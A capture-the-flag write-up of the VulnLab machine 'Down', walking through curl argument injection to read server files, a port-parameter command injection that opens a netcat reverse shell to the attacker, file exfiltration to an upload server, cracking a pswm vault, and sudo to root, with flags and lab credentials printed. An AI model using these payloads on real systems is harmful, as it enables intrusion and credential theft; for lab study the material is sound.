POSTS

VULNLAB: Down

Down is an easy-rated Linux machine that involves exploiting an arbitrary file read by bypassing a protocol-based filter to discover the source code of the running PHP web app, eventually, a remote code execution to gain an initial foothold. The attacker finds a readable pswm encrypted file in the user's home directory. The pwsm uses Python's cryptocode module and a master password to encrypt and decrypt the data. The attacker is supposed to write a small script to decrypt the blob and compromise the user. The compromised user is a member of the sudo group, allowing the user to escalate and obtain root access.

VULNLAB: Down
3965 words · 19 min

Overview

  • Type Machines
  • OS Linux
  • Severity Easy
  • Creator jkr
  • Release date 2024 Sep 20

Enumeration

Start the instance via Discord and let’s go (waiting 5 min to be sure the instance is fully deployed):

image

10.10.91.60 

Nmap

$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.91.60 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-08 20:06 JST
Nmap scan report for 10.10.91.60
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Website (80/tcp)

image

First test with 127.0.0.1:

image

get the contents of the target website, which hints that this might be vulnerable to SSRF. I

Try if we can use other protocol like file://:

image

only HTTP and HTTPS are allowed

Set a local listener on port 80/tcp:

$ rlwrap -cAr nc -lvnp 80 
listening on [any] 80 ...

Now try again using our web server as target:

image

We got a callback:

$ rlwrap -cAr nc -lvnp 80 
listening on [any] 80 ...
connect to [10.8.4.253] from (UNKNOWN) [10.10.91.60] 52412
GET / HTTP/1.1
Host: 10.8.4.253
User-Agent: curl/7.81.0
Accept: */*

Interesting as the user agent is curl version 7.81.0, that reveals that the site is executing curl [user_input]

cURL argument injecting

We try some tests using Burp and we can see that we can inject an argument using a <SPACE>:

image

This equal to the command curl -h

We can do the same with curl:

$ curl --path-as-is -i -s -k http://10.10.91.60 --data-binary $'url=http%3A%2F%2F127.0.0.1%20-h' -X POST
HTTP/1.1 200 OK
Date: Wed, 08 Jan 2025 11:33:08 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1863
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Is it down or just me?</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>

    <header>
        <img src="/logo.png" alt="Logo">
        <h2>Is it down or just me?</h2>
    </header>

    <div class="container">

<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form><div class="output" id="outputSection"><font size=+1>It is up. It's just you! 😝</font><br><br><p id="outputDetails"><pre>Usage: curl [options...] &lt;url&gt;
 -d, --data &lt;data&gt;          HTTP POST data
 -f, --fail                 Fail silently (no output at all) on HTTP errors
 -h, --help &lt;category&gt;      Get help for commands
 -i, --include              Include protocol response headers in the output
 -o, --output &lt;file&gt;        Write to file instead of stdout
 -O, --remote-name          Write output to a file named as the remote file
 -s, --silent               Silent mode
 -T, --upload-file &lt;file&gt;   Transfer local FILE to destination
 -u, --user &lt;user:password&gt; Server user and password
 -A, --user-agent &lt;name&gt;    Send User-Agent &lt;name&gt; to server
 -v, --verbose              Make the operation more talkative
 -V, --version              Show version number and quit

This is not the full help, this menu is stripped into categories.
Use &quot;--help category&quot; to get an overview of all categories.
For all options use the manual or &quot;--help all&quot;.</pre></p>
</div>
</div>
<footer>© 2024 isitdownorjustme LLC</footer>
</body>
</html>

Arbitrary file reading (www-data) (Down_User)

Playing more and found a way to arbitrary read a file as we can request more than one URL in only one command using the separator +:

$ curl --path-as-is -i -s -k http://10.10.91.60 --data-binary $'url=http%3A%2F%2F127.0.0.1+file:///etc/passwd' -X POST
HTTP/1.1 200 OK
Date: Wed, 08 Jan 2025 11:39:06 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 3791
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Is it down or just me?</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>

    <header>
        <img src="/logo.png" alt="Logo">
        <h2>Is it down or just me?</h2>
    </header>

    <div class="container">

<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form><div class="output" id="outputSection"><font size=+1>It is up. It's just you! 😝</font><br><br><p id="outputDetails"><pre>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Is it down or just me?&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;
&lt;/head&gt;
&lt;body&gt;

    &lt;header&gt;
        &lt;img src=&quot;/logo.png&quot; alt=&quot;Logo&quot;&gt;
        &lt;h2&gt;Is it down or just me?&lt;/h2&gt;
    &lt;/header&gt;

    &lt;div class=&quot;container&quot;&gt;

&lt;h1&gt;Is that website down, or is it just you?&lt;/h1&gt;
        &lt;form id=&quot;urlForm&quot; action=&quot;index.php&quot; method=&quot;POST&quot;&gt;
            &lt;input type=&quot;url&quot; id=&quot;url&quot; name=&quot;url&quot; placeholder=&quot;Please enter a URL.&quot; required&gt;&lt;br&gt;
            &lt;button type=&quot;submit&quot;&gt;Is it down?&lt;/button&gt;
        &lt;/form&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;footer&gt;© 2024 isitdownorjustme LLC&lt;/footer&gt;
&lt;/body&gt;
&lt;/html&gt;
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false</pre></p>
</div>
</div>
<footer>© 2024 isitdownorjustme LLC</footer>
</body>
</html>

Now we want to take a look through index.php as often located to /var/www/html/ by default:

$ curl --path-as-is -i -s -k http://10.10.91.60 --data-binary $'url=http%3A%2F%2F127.0.0.1+file:///var/www/html/index.php' -X POST
HTTP/1.1 200 OK
Date: Wed, 08 Jan 2025 11:42:20 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 6328
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Is it down or just me?</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>

    <header>
        <img src="/logo.png" alt="Logo">
        <h2>Is it down or just me?</h2>
    </header>

    <div class="container">

<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form><div class="output" id="outputSection"><font size=+1>It is up. It's just you! 😝</font><br><br><p id="outputDetails"><pre>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Is it down or just me?&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;
&lt;/head&gt;
&lt;body&gt;

    &lt;header&gt;
        &lt;img src=&quot;/logo.png&quot; alt=&quot;Logo&quot;&gt;
        &lt;h2&gt;Is it down or just me?&lt;/h2&gt;
    &lt;/header&gt;

    &lt;div class=&quot;container&quot;&gt;

&lt;h1&gt;Is that website down, or is it just you?&lt;/h1&gt;
        &lt;form id=&quot;urlForm&quot; action=&quot;index.php&quot; method=&quot;POST&quot;&gt;
            &lt;input type=&quot;url&quot; id=&quot;url&quot; name=&quot;url&quot; placeholder=&quot;Please enter a URL.&quot; required&gt;&lt;br&gt;
            &lt;button type=&quot;submit&quot;&gt;Is it down?&lt;/button&gt;
        &lt;/form&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;footer&gt;© 2024 isitdownorjustme LLC&lt;/footer&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Is it down or just me?&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;
&lt;/head&gt;
&lt;body&gt;

    &lt;header&gt;
        &lt;img src=&quot;/logo.png&quot; alt=&quot;Logo&quot;&gt;
        &lt;h2&gt;Is it down or just me?&lt;/h2&gt;
    &lt;/header&gt;

    &lt;div class=&quot;container&quot;&gt;

&lt;?php
if ( isset($_GET[&#039;expertmode&#039;]) &amp;&amp; $_GET[&#039;expertmode&#039;] === &#039;tcp&#039; ) {
  echo &#039;&lt;h1&gt;Is the port refused, or is it just you?&lt;/h1&gt;
        &lt;form id=&quot;urlForm&quot; action=&quot;index.php?expertmode=tcp&quot; method=&quot;POST&quot;&gt;
            &lt;input type=&quot;text&quot; id=&quot;url&quot; name=&quot;ip&quot; placeholder=&quot;Please enter an IP.&quot; required&gt;&lt;br&gt;
            &lt;input type=&quot;number&quot; id=&quot;port&quot; name=&quot;port&quot; placeholder=&quot;Please enter a port number.&quot; required&gt;&lt;br&gt;
            &lt;button type=&quot;submit&quot;&gt;Is it refused?&lt;/button&gt;
        &lt;/form&gt;&#039;;
} else {
  echo &#039;&lt;h1&gt;Is that website down, or is it just you?&lt;/h1&gt;
        &lt;form id=&quot;urlForm&quot; action=&quot;index.php&quot; method=&quot;POST&quot;&gt;
            &lt;input type=&quot;url&quot; id=&quot;url&quot; name=&quot;url&quot; placeholder=&quot;Please enter a URL.&quot; required&gt;&lt;br&gt;
            &lt;button type=&quot;submit&quot;&gt;Is it down?&lt;/button&gt;
        &lt;/form&gt;&#039;;
}

if ( isset($_GET[&#039;expertmode&#039;]) &amp;&amp; $_GET[&#039;expertmode&#039;] === &#039;tcp&#039; &amp;&amp; isset($_POST[&#039;ip&#039;]) &amp;&amp; isset($_POST[&#039;port&#039;]) ) {
  $ip = trim($_POST[&#039;ip&#039;]);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST[&#039;port&#039;]);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip &amp;&amp; $valid_port ) {
    $rc = 255; $output = &#039;&#039;;
    $ec = escapeshellcmd(&quot;/usr/bin/nc -vz $ip $port&quot;);
    exec($ec . &quot; 2&gt;&amp;1&quot;,$output,$rc);
    echo &#039;&lt;div class=&quot;output&quot; id=&quot;outputSection&quot;&gt;&#039;;
    if ( $rc === 0 ) {
      echo &quot;&lt;font size=+1&gt;It is up. It&#039;s just you! 😝&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
      echo &#039;&lt;p id=&quot;outputDetails&quot;&gt;&lt;pre&gt;&#039;.htmlspecialchars(implode(&quot;\n&quot;,$output)).&#039;&lt;/pre&gt;&lt;/p&gt;&#039;;
    } else {
      echo &quot;&lt;font size=+1&gt;It is down for everyone! 😔&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
      echo &#039;&lt;p id=&quot;outputDetails&quot;&gt;&lt;pre&gt;&#039;.htmlspecialchars(implode(&quot;\n&quot;,$output)).&#039;&lt;/pre&gt;&lt;/p&gt;&#039;;
    }
  } else {
    echo &#039;&lt;div class=&quot;output&quot; id=&quot;outputSection&quot;&gt;&#039;;
    echo &#039;&lt;font color=red size=+1&gt;Please specify a correct IP and a port between 1 and 65535.&lt;/font&gt;&#039;;
  }
} elseif (isset($_POST[&#039;url&#039;])) {
  $url = trim($_POST[&#039;url&#039;]);
  if ( preg_match(&#039;|^https?://|&#039;,$url) ) {
    $rc = 255; $output = &#039;&#039;;
    $ec = escapeshellcmd(&quot;/usr/bin/curl -s $url&quot;);
    exec($ec . &quot; 2&gt;&amp;1&quot;,$output,$rc);
    echo &#039;&lt;div class=&quot;output&quot; id=&quot;outputSection&quot;&gt;&#039;;
    if ( $rc === 0 ) {
      echo &quot;&lt;font size=+1&gt;It is up. It&#039;s just you! 😝&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
      echo &#039;&lt;p id=&quot;outputDetails&quot;&gt;&lt;pre&gt;&#039;.htmlspecialchars(implode(&quot;\n&quot;,$output)).&#039;&lt;/pre&gt;&lt;/p&gt;&#039;;
    } else {
      echo &quot;&lt;font size=+1&gt;It is down for everyone! 😔&lt;/font&gt;&lt;br&gt;&lt;br&gt;&quot;;
    }
  } else {
    echo &#039;&lt;div class=&quot;output&quot; id=&quot;outputSection&quot;&gt;&#039;;
    echo &#039;&lt;font color=red size=+1&gt;Only protocols http or https allowed.&lt;/font&gt;&#039;;
  }
}
?&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;footer&gt;© 2024 isitdownorjustme LLC&lt;/footer&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></p>
</div>
</div>
<footer>© 2024 isitdownorjustme LLC</footer>
</body>
</html>

Another way is to follow GTFObins - curl:

Set a local web server with upload feature:

$ pipx install uploadserver           
$ uploadserver 80
File upload available at /upload
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Send our payload to upload the targeted index.php to our machine:

$ curl --path-as-is -i -s -k http://10.10.91.60 --data-binary $'url=http%3A%2F%2F10.8.4.253/upload -X POST -F 'files=@/var/www/html/index.php'' -X POST

Then we can read the index.php source code:

$ uploadserver 80
File upload available at /upload
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.91.60 - - [08/Jan/2025 20:57:31] [Uploaded] "index.php" --> /home/user/Downloads/VULNLAB/DOWN/index.php
10.10.91.60 - - [08/Jan/2025 20:57:31] "POST /upload HTTP/1.1" 204 -
$ cat index.php                                                                                        

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Is it down or just me?</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>

    <header>
        <img src="/logo.png" alt="Logo">
        <h2>Is it down or just me?</h2>
    </header>

    <div class="container">

<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
            <input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
            <button type="submit">Is it refused?</button>
        </form>';
} else {
  echo '<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form>';
}

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
  }
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|',$url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}
?>

</div>
</div>
<footer>© 2024 isitdownorjustme LLC</footer>
</body>
</html>

Checking the source code we found some good stuff:

image

  • An hidden parameter ?expertmode=tcp exists with more functionality
  • The nc command uses the wrong non-sanitized $port parameter instead of $port_int
  • The root cause of our previous finding for the arbitrary file read, it’s because that uses escapeshellcmd function which doesn’t escape spaces

We will abuse of the expertmode parameter to allow us to execute nc and get a reverse shell following the syntax:

nc -vz $ATTACKER_IP $PORT -c bash

OR

nc -vz $ATTACKER_IP $PORT -e /bin/sh

Set a netcat listener:

$ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...

Send our payload:

$ curl --path-as-is -i -s -k http://10.10.91.60/index.php?expertmode=tcp --data-binary $'ip=10.8.4.253&port=443 -e /bin/sh' -X POST

OR

$ curl --path-as-is -i -s -k http://10.10.91.60/index.php?expertmode=tcp --data-binary $'ip=10.8.4.253&port=443+-c+bash' -X POST

Then got a shell as www-data:

$ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.4.253] from (UNKNOWN) [10.10.91.60] 45778
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Then grab the flag Down_User:

ls
index.php
logo.png
style.css
user_aeT1xa.txt

cat user_aeT1xa.txt
VL{1ef2962f0233904c102240437c80da1c}

Privilege escalating (Down_Root)

We use lse.sh for a quick enumeration:

$ python3 -m http.server 80           
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
cd /tmp
curl 10.8.4.253/lse.sh -o lse.sh
ls
lse.sh
chmod +x lse.sh
./lse.sh
---

---

 LSE Version: 4.14nw

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
       umask: 0022

    Hostname: down
       Linux: 5.15.0-119-generic
Distribution: Ubuntu 22.04.4 LTS
Architecture: x86_64

=====================( Current Output Verbosity Level: 0 )======================
===============================================================( humanity )=====
[!] nowar0 Should we question autocrats and their "military operations"?... yes!
---
                                      NO   
                                      WAR  
---
==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in administrative groups?................. yes!
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... nope
[*] sud040 Can we read sudoers files?...................................... nope
[*] sud050 Do we know if any other users used sudo?........................ yes!
============================================================( file system )=====
[*] fst000 Writable files outside user's home..............................
 yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/snap/snapd/20671/usr/lib/snapd/snap-confine
/snap/snapd/21759/usr/lib/snapd/snap-confine
---
[!] fst030 Can we write to any setuid binary?.............................. nope
[*] fst040 Binaries with setgid bit........................................ skip
[!] fst050 Uncommon setgid binaries........................................ skip
[!] fst060 Can we write to any setgid binary?.............................. skip
[*] fst070 Can we read /root?.............................................. nope
[*] fst080 Can we read subdirectories under /home?......................... yes!
[*] fst090 SSH files in home directories................................... nope
[*] fst100 Useful binaries................................................. yes!
...
===================================================================( CVEs )=====
  In order to test for CVEs, download lse.sh from the GitHub releases page.
  Alternatively, build lse_cve.sh using tools/package_cvs_into_lse.sh from the
 repository.
==================================( FINISHED )==================================

We have read access to /home and subfolders

Let’s go for listing:

find /home -type f -readable 2>/dev/null
/home/aleks/.bashrc
/home/aleks/.sudo_as_admin_successful
/home/aleks/.local/share/pswm/pswm
/home/aleks/.profile
/home/aleks/.bash_logout

Found /home/aleks/.local/share/pswm/pswm

Read it:

cat /home/aleks/.local/share/pswm/pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

Seems Base64 encoded.

Let’s try to decode:

$ echo -n 'e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==' | base64 -d
{�ZZ��'C���9oxF���	�Me��{NE���{�M�who�4K>y�B��base64: invalid input

Hummm failed, seems binary

After more research, It’s the encrypted master password for a command line password manager written in python:

PSWM password decrypting (aleks) (Down_Root)

Note
$ cat pswm_master_password.enc 
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
$ pip3 install cryptocode --break-system-packages
$ python3 pswm-decrypt.py -f ../pswm_master_password.enc -w /usr/share/wordlists/rockyou.txt
[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias      | Username | Password             |
+------------+----------+----------------------+
| pswm       | aleks    | flower               |
| aleks@down | aleks    | 1uY3w22uc-Wr{xNHR~+E |
+------------+----------+----------------------+

Found aleks:1uY3w22uc-Wr{xNHR~+E

Use this credential to connect to the target via SSH:

$ sshpass -p '1uY3w22uc-Wr{xNHR~+E' ssh aleks@10.10.91.60 -oStrictHostKeyChecking=accept-new -oStrictHostKeyChecking=no
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)
Last login: Sun Sep 15 09:14:52 2024 from 10.8.0.101
aleks@down:~$ 

Check the SUDO privileges:

aleks@down:~$ sudo -l
[sudo] password for aleks: 
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL

Ok as he can become root then let’s do it and get the flag Down_Root:

aleks@down:~$ sudo su
root@down:/home/aleks# cat /root/root.txt 
VL{8459415621e649eb152c60a31044644b}

Extra

Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=34e42d55-2624-47de-9063-a32c2ae9074a

1726588511586

In this video Tyler Ramsbey || Down - Detailed Walkthrough - (Vulnlab!), we can see a method using ChatGPT v4o-Mini with the prompt below (including the soure code of https://github.com/Julynx/pswm/blob/main/pswm) to be able to generate a python script that be able to decrypt the encrypted password using the rockyou wordlist:

Can you analyze how to the decryption is happening, and write a python script that will decrypt it with a wordlist? the master password...

#!/usr/bin/env python3

"""
@file     pswm
@date     04/05/2023
@version  1.5
@change   1.5: Code linting
@license  GNU General Public License v2.0
@url      github.com/Julynx/pswm
@author   Julio Cabria
"""


import sys
import os
import random
import string
from contextlib import suppress
import getpass
import cryptocode
from prettytable import PrettyTable, SINGLE_BORDER


def _get_xdg_path(env: str,
                  app: str,
                  default: str,
                  create: bool = False) -> str:
    """
    Returns the value of the env environment variable with
    the app folder and file appended to it. (See example below)

    Example: Return value equals to
             "XDG_CONFIG_HOME/app/app"
             or
             "default/app/app" if XDG_CONFIG_HOME is not set

    Args:
        env (str): Name of the environment variable.
        app (str): Name of the app to be used for the folder and the file.
        default (str): Default value to use for the path if env
        is not set.
        create (bool): Wether to create the config file or not.
        Defaults to False. Dirs are always created if they don't exist.

    Returns:
        str: Path to the app folder and file or fallback value.
    """

    # 1. Read the XDG_config environment variable
    if env in os.environ and os.path.exists(os.environ[env]):
        config = os.environ[env]
    else:
        # Expand the default path
        config = os.path.expanduser(default)

    config = config[:-1] if config.endswith("/") else config

    # 2. Create the app folder if it doesn't exist
    config += f"/{app}"
    os.makedirs(config, exist_ok=True)

    # 3. Add the config file name to the path
    config += f"/{app}"
    if not os.path.exists(config) and create:
        with open(config, "w") as file:
            file.write("")

    return config


def get_xdg_data_path(app: str, create: bool = False) -> str:
    """
    Returns the value of the XDG_DATA_HOME environment variable with
    the app folder and file appended to it. (See example below)

    Example: Return value equals to
            "XDG_DATA_HOME/app/app"
            or
            "default/app/app" if XDG_DATA_HOME is not set

    Args:
        app (str): Name of the app to be used for the folder and the file.
        create (bool, optional): Wether to create the config file or not.
        Defaults to False. Dirs are always created if they don't exist.

    Returns:
        str: path to the app folder and file or fallback value.
    """
    return _get_xdg_path(env="XDG_DATA_HOME",
                         app=app,
                         default="~/.local/share",
                         create=create)


def args(positional=None):
    """
    Simple argument parser.

    Example:
    $: program joe 1234 -keep -host=127.0.0.1

    dictionary = args(["username", "password"])

    >> username:    joe
    >> password:    1234
    >> -keep:       True
    >> -host:       127.0.0.1

    Args:
        positional (str): A list of strings for the positional arguments.

    Returns:
        dict: A dictionary containing the argument names and their values.
    """
    positional = [] if positional is None else positional
    args_dict = {}

    # Store positional arguments
    tail = len(positional)
    for i, pos_arg in enumerate(positional):
        with suppress(IndexError):
            if str(sys.argv[i+1]).startswith("-"):
                tail = i
                break
            value = sys.argv[i+1]
            args_dict[pos_arg] = value

    # Store flags
    for i in range(tail+1, len(sys.argv)):
        try:
            value = str(sys.argv[i]).split("=")[1]
        except IndexError:
            value = True
        args_dict[str(sys.argv[i]).split("=", maxsplit=1)[0]] = value

    return args_dict


def print_pass_vault(pass_vault, alias=None):
    """
    Function to print the password vault using prettyTable.

    Args:
        pass_vault (dict): A dictionary of aliases associated to usernames
        and passwords.
        alias (str, optional): The alias to print.
        If None, all aliases are printed. Defaults to None.
    """
    if len(pass_vault) == 0:
        print("The password vault is empty.")
        return

    table = PrettyTable()
    if alias is not None:
        if alias in pass_vault:
            row = []
            row.append(alias)
            row.extend(pass_vault[alias])
            table.add_row(row)
        else:
            print("No password for " + alias + " was found.")
            return
    else:
        for stored_alias in sorted(pass_vault, key=lambda x: x[0].lower()):
            row = []
            row.append(stored_alias)
            row.extend(pass_vault[stored_alias])
            table.add_row(row)

    table.field_names = ["Alias", "Username", "Password"]
    table.align = "l"
